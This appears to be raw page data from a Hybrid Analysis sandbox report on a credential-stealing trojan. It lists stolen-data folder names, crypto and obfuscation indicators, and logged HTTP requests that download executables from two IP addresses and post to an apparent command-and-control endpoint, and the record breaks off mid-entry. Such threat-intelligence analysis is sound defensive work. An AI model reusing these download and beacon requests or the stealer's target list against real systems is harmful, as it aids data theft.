26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7b:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T485,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Zusy.Generic Sample 974c926e37b0… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 974c926e37b0…. Malware family: Zusy.Generic. Threat score 100/100. 15/25 AV engines flagged this file. 25 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/974c926e37b0f053ea8ba147fb27984af68ecbcdc4c2289c03f7148b28e22edb","keywords":["Malicious","Zusy.Generic","malware analysis","sandbox report","threat intelligence","974c926e37b0f053ea8ba147fb27984af68ecbcdc4c2289c03f7148b28e22edb"],"about":{"@type":"SoftwareApplication","name":"974c9.Trojan.exe","applicationCategory":["peexe","executable"],"identifier":"974c926e37b0f053ea8ba147fb27984af68ecbcdc4c2289c03f7148b28e22edb","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Zusy.Generic","antivirusDetections":{"malicious":15,"total":25},"behavioralIndicators":{"malicious":25,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:Tc51,"974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Autofill (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\CC (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP\FileZilla (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP\TotalCommander (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\FTP (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\GoogleAccounts (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Growtopia (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Minecraft (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\TLauncher (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\FeatherClient (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\LunarClient (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Battle.net (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Files\My Music (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games\Steam (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Games (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Skype (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Files\My Pictures (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Element (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\ICQ (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Signal (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Tox (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers\Pidgin (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\Messengers (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\VPN\OpenVPN Connect (UID: 00000000-00007764) "974c9.Trojan.exe" called "RemoveDirectoryA" with parameter %TEMP%\jobA3OpGWreR7plfwx\VPN (UID: 00000000-00007764)28:T520,Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "974c9.Trojan.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "974c9.Trojan.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "CreateThreadpoolWork" (Indicator: "CreateThread"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp")29:T423,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "974c9.Trojan.exe") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004036.00000000.68664.010D1000.00000040.mdmp, 00000000-00004036.00000002.72505.010D1000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004204.00000000.70154.0143D000.00000040.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006224.00000000.68161.06183000.00000004.mdmp")2a:T7c6,file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; File: "clip64_1_.dll") file/memory contains long string with (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; File: "clip64_1_.dll") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00004036.00000000.68664.035F0000.00000004.mdmp, 00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp, 00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp, 00000000-00006224.00000000.68161.035F0000.00000004.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp") Found string "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_." (Indicator: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_"; Source: "00000000-00006224.00000000.68161.00F51000.00000040.mdmp")2b:T899,file/memory contains long string with (Indicator: "Aes"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "AesCryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "CryptoConfig"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "CryptoStream"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "Rijndael"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "RSACryptoServiceProvider"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "niks_1_.exe") file/memory contains long string with (Indicator: "HMAC"; File: "IWPfiAXUTJTSHistory") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10" (Indicator: "SHA384"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to "Mhttp://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S" (Indicator: "SHA384"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to "Mhttp://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0>" (Indicator: "SHA384"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to "Phttp://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0" (Indicator: "SHA384"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp") Found reference to "8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1" (Indicator: "SHA384"; Source: "00000000-00004036.00000001.70585.03633000.00000004.mdmp, 00000000-00004036.00000002.72505.03633000.00000004.mdmp")2c:T1712,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007764-20712-1044-0122BC63 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00007764-20712-1032-01221094 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00007764-20712-1032-01221094 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00008112-29153-990-00F1FD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00008112-29153-970-00F3883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00008112-29153-970-00F3883B Assembly shows XOR instruction xor dword ptr [edi-20h] 10776F45h in Stream UID: 00000000-00008112-29153-993-00F3D0A0 Assembly shows XOR instruction xor bl dl in Stream UID: 00000000-00008112-29153-993-00F3D0A0 Assembly shows XOR instruction xor dword ptr [edi+20h] E0776F87h in Stream UID: 00000000-00008112-29153-993-00F3D0A0 Assembly shows XOR instruction xor dword ptr [edi+30h] 10778147h in Stream UID: 00000000-00008112-29153-993-00F3D0A0 Assembly shows XOR instruction xor byte ptr [edi+54907320h] dl in Stream UID: 00000000-00008112-29153-993-00F3D0A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004036-41434-972-0110883B Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004036-41434-972-0110883B Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-14h] in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor eax dword ptr [ebp-04h] in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor eax ecx in Stream UID: 00000000-00004036-41434-992-010EFD50 Assembly shows XOR instruction xor dword ptr [edi-20h] 10776F45h in Stream UID: 00000000-00004036-41434-995-0110D0A0 Assembly shows XOR instruction xor bl dl in Stream UID: 00000000-00004036-41434-995-0110D0A0 Assembly shows XOR instruction xor dword ptr [edi+20h] E0776F87h in Stream UID: 00000000-00004036-41434-995-0110D0A0 Assembly shows XOR instruction xor dword ptr [edi+30h] 10778147h in Stream UID: 00000000-00004036-41434-995-0110D0A0 Assembly shows XOR instruction xor byte ptr [edi+54907320h] dl in Stream UID: 00000000-00004036-41434-995-0110D0A0 Assembly shows XOR instruction xor eax ebx in Stream UID: 48421-7-00424BCF Assembly shows XOR instruction xor ebx ecx in Stream UID: 48421-7-00424BCF Assembly shows XOR instruction xor ecx ebp in Stream UID: 48421-8-00441D29 Assembly shows XOR instruction xor eax ecx in Stream UID: 49311-455-00404390 Assembly shows XOR instruction xor eax ebx in Stream UID: 49311-455-00404390 Assembly shows XOR instruction xor eax edx in Stream UID: 49311-455-00404390 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 49311-12-0040EE20 Assembly shows XOR instruction xor eax edx in Stream UID: 49311-12-0040EE20 Assembly shows XOR instruction xor cl byte ptr [ebp-02h] in Stream UID: 49311-515-00415AD5 Assembly shows XOR instruction xor byte ptr [eax] cl in Stream UID: 49311-515-00415AD5 Assembly shows XOR instruction xor byte ptr [ecx+36h] 6Ch in Stream UID: 49311-917-0041B41E Assembly shows XOR instruction xor esi dword ptr [edx] in Stream UID: 49311-609-00402F3E Assembly shows XOR instruction xor edx dword ptr [ecx] in Stream UID: 49311-609-00402F3E Assembly shows XOR instruction xor eax dword ptr [esp+00000114h] in Stream UID: 49311-609-00402F3E Assembly shows XOR instruction xor edi edx in Stream UID: 49311-19-0040BA30 Assembly shows XOR instruction xor eax esp in Stream UID: 49311-874-00416711 Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-127-0041746B Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-127-0041746B Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-121-00417A20 Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-121-00417A20 Assembly shows XOR instruction xor ecx ebx in Stream UID: 49311-156-0041A400 Assembly shows XOR instruction xor ecx FFFFFFFFh in Stream UID: 49311-156-0041A400 Assembly shows XOR instruction xor eax FFFFFFFFh in Stream UID: 49311-156-0041A400 Assembly shows XOR instruction xor ecx edi in Stream UID: 49311-156-0041A400 Assembly shows XOR instruction xor eax esi in Stream UID: 49311-156-0041A400 Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-376-004151DA Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-376-004151DA Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-118-00417A69 Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-118-00417A69 Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-559-00416AE5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-559-00416AE5 Assembly shows XOR instruction xor ecx dword ptr [ebp+0Ch] in Stream UID: 49311-531-00419E16 Assembly shows XOR instruction xor eax ebp in Stream UID: 49311-117-004147EC Assembly shows XOR instruction xor ecx ebp in Stream UID: 49311-117-004147EC2d:T1b4e,Contains base64 string in header "/cost/ko" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/ko.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /mine/amers.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 185.215.113.68Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/niks.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/vinu.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "like" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "2045" in header "GET /cost/networa.exe HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36Host: 109.107.182.3Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 4Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "176Cache" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 176Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 31Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "/theme/index" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "Type" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache" Contains base64 string in header "form" in header "POST /theme/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.68Content-Length: 5Cache-Control: no-cache"2e:T93f,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to decode base64 data Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains ability to decrypt/decode data Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to import cryptographic keys (seen in ransomware) Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt the data Matched sigs: Reads the cryptographic machine GUID Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Imports Crypto related APIs Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains ability to perform CryptoStream operations (Dotnet) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES Encryption Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform asymmetric crypto operations Matched sigs: Contains ability to perform symmetric decryption (Dotnet) Matched sigs: Contains ability to perform symmetric encryption (Dotnet) Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Contains ability to perform symmetric crypto operations Matched sigs: Dotnet file contains encryption/decryption functions Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2f:T204a,"974c9.Trojan.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000004a73187d4a7300000000d0a9c0760000b9769011ba76f83bd5009070d3003028d40090f4cf00feffffff38f7cf00506a82772291c17afeffffff50f5cf00eaa97e77f83bd500000000003028d400a11400000a000b00b2974a735c764a7368764a733028d400f81bd500140000000000000000000000f83bd50078f5cf00cc2d83773028d400000000003c28d40000000000f800437300000000cc0d24385ce88177684080774c020000190000001100000010000000e0b2d300b0f5cf008d9a147470b2d300942ed40000000000d0f5cf00b4aed300942ed400e8f5cf0000004373feffffff0400000020af1474000000000000000003000000d8f5cf00 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 240100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007764) "974c9.Trojan.exe" called "RtlGetVersion" with parameter 0032e4760a00000000000000ab3f000002000000000022a004f4cf00e9e3e47654f4cf005051da00f6e3e4765051da0008f4cf00da9ee4761a8a22a020f4cf00a2ece4761000000054f4cf00b4ece4761e7eeda03e8a22a070f4cf00b6bbe97254f4cf0000000000ff2aeb72758d8946100000000100000058f6cf000100000038a9e10000000000000000000000000034f4cf0040f4cf0044f6cf00509d52746c47657456657273696f6e00004e74646c6c2e646c6c000050f6cf005eb8170150b8dc00b0456f7700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007764) "974c9.Trojan.exe" 